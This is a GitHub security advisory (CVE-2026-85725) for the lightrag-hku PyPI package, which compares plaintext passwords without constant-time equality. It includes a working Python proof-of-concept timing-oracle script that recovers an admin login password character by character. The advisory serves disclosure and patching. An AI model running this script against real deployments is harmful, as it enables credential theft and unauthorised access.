GitHub Advisoryadvisory · PyPI
GHSA-c759-cx9p-mrwq lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function
MEDIUM
Official page ↗
- Aliases
- CVE-2026-85725
- Ecosystem
- PyPI
- Packages
- lightrag-hku
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-208
- Reviewed
- 2026-09-22
Affected packages
• PyPI lightrag-hku: < 1.5.5 → fixed in 1.5.5
Description
Summary
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
Details
```python
lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
if stored_password.startswith("{bcrypt}"):
...
return bcrypt.checkpw(...) # constant-time OK
return stored_password == plain_password # NOT constant-time VULN
# Python == short-circuits on first mismatched byte
# Timing leaks: password length + individual characters
```
PoC
```python
Timing oracle: recover password char-by-char
import httpx, time, string
TARGET = "http://:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf_counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf_counter() - t
known = ""
for _ in range(32):
best = max(string.printable,
key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
known += best
print(f"Recovered: {known}")
```
Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.
Related
Alias · CVE (1)
- CVE-2026-85725 LightRAG provides simple and fast retrieval-augmented generation. vulnerability
Weakness · CWE (1)
- CWE-208 Observable Timing Discrepancy weakness
References
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq web
- https://nvd.nist.gov/vuln/detail/CVE-2026-85725 advisory
- https://github.com/HKUDS/LightRAG/pull/3423 web
- https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c web
- https://github.com/HKUDS/LightRAG package
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5 web